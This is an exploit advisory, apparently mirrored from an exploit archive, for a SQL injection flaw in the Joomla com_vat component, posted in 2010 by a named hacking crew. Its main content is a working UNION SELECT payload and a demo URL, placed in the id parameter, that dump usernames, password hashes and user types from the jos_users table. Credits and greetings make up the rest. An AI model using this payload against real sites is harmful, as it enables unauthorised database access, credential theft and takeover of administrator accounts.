Joomla Component com_vat SQL Injection Vulnerability

====================================================
Joomla Component com_vat SQL Injection Vulnerability
====================================================

==========================================================================
[x] ExpLoit Title : Joomla component com_vat SQL injection Vulnerability
[x] Date          : 02 September 2010
[x] Author        : Andre_Corleone
[x] home          : http://tecon-crew.org
[x] Tested on     : linux ubuntu 10.04
[x] Dork          : :P
==========================================================================
 
============================================================================================================
[x]exploit:
+union+all+select+1,group_concat(username,0x3a,password,0x3a,usertype),3,4,5,6,7,8,9,10,11+from+jos_users--
============================================================================================================

================================================================================================================================================
[+]demo:
http://www.site.com/index.php?option=com_vat&id=-6+union+all+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+jos_users--
================================================================================================================================================

============================================================================================
[x]thanks to:
ALLAH SWT,Muhammad SAW,my Parents,my lovely HerliZ Dian Permathasari
guitariznoize | zee_eichel | jImMYrOmAnTiCdEvIl | all Tecon Crew | and you
============================================================================================
 
=====================
[x]Jakarta,Indonesia
=====================



#  0day.today [2018-04-02]  #